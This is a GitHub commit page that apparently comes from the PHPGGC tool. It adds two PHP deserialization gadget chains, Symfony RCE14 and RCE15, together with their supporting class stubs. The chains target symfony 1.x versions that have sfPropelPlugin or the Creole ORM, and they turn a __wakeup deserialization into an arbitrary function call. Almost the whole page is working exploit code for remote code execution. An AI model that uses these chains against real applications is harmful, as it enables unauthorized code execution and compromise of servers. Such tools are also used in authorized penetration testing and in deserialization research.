-
Notifications
You must be signed in to change notification settings - Fork 507
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Fixed codestyle and informations for the new Symfony/RCE* plugins.
- Loading branch information
Showing
7 changed files
with
135 additions
and
72 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
<?php | ||
|
||
namespace GadgetChain\Symfony; | ||
|
||
class RCE14 extends \PHPGGC\GadgetChain\RCE\FunctionCall | ||
{ | ||
public static $version = '1.2.0 <= 1.2.12'; | ||
public static $vector = '__wakeup'; | ||
public static $author = 'darkpills'; | ||
public static $information = 'Requires sfPropelPlugin to be enabled'; | ||
|
||
public function generate(array $parameters) | ||
{ | ||
$escaper = new \sfOutputEscaperObjectDecorator($parameters['function'], new \sfCultureInfo($parameters['parameter'])); | ||
$date = new \PropelDateTime(null, $escaper); | ||
|
||
return $date; | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,42 @@ | ||
<?php | ||
class PropelDateTime extends DateTime | ||
{ | ||
private $dateString; | ||
|
||
private $tzString; | ||
|
||
public function __construct($dateString, $tzString) { | ||
$this->dateString = $dateString; | ||
$this->tzString = $tzString; | ||
} | ||
} | ||
|
||
|
||
class sfOutputEscaperObjectDecorator | ||
{ | ||
protected $value; | ||
|
||
protected $escapingMethod; | ||
|
||
public function __construct($escapingMethod, $value) { | ||
$this->escapingMethod = $escapingMethod; | ||
$this->value = $value; | ||
} | ||
} | ||
|
||
class sfCultureInfo | ||
{ | ||
protected $dataFileExt = '.dat'; | ||
protected $data = array(); | ||
protected $culture; | ||
protected $dataDir; | ||
protected $dataFiles = array(); | ||
protected $dateTimeFormat; | ||
protected $numberFormat; | ||
protected $properties = array(); | ||
|
||
public function __construct($culture) { | ||
$this->culture = $culture; | ||
} | ||
|
||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
<?php | ||
|
||
namespace GadgetChain\Symfony; | ||
|
||
class RCE15 extends \PHPGGC\GadgetChain\RCE\FunctionCall | ||
{ | ||
public static $version = '1.0.0 <= 1.1.9'; | ||
public static $vector = '__wakeup'; | ||
public static $author = 'darkpills'; | ||
public static $information = 'With Creole ORM'; | ||
|
||
public function generate(array $parameters) | ||
{ | ||
$escaper = new \sfOutputEscaperArrayDecorator($parameters['function'], array($parameters['parameter'])); | ||
$tableInfo = new \MySQLiTableInfo($escaper); | ||
|
||
return $tableInfo; | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,38 @@ | ||
<?php | ||
|
||
class sfOutputEscaperArrayDecorator | ||
{ | ||
protected $value; | ||
|
||
protected $escapingMethod; | ||
|
||
public function __construct($escapingMethod, $value) { | ||
$this->escapingMethod = $escapingMethod; | ||
$this->value = $value; | ||
} | ||
} | ||
|
||
class MySQLiTableInfo | ||
{ | ||
|
||
protected $name; | ||
protected $columns = array(); | ||
protected $foreignKeys = array(); | ||
protected $indexes = array(); | ||
protected $primaryKey; | ||
protected $pkLoaded = false; | ||
protected $fksLoaded = false; | ||
protected $indexesLoaded = false; | ||
protected $colsLoaded = false; | ||
protected $vendorLoaded = false; | ||
protected $vendorSpecificInfo = array(); | ||
protected $conn; | ||
protected $database; | ||
protected $dblink; | ||
protected $dbname; | ||
|
||
public function __construct($columns) | ||
{ | ||
$this->columns = $columns; | ||
} | ||
} |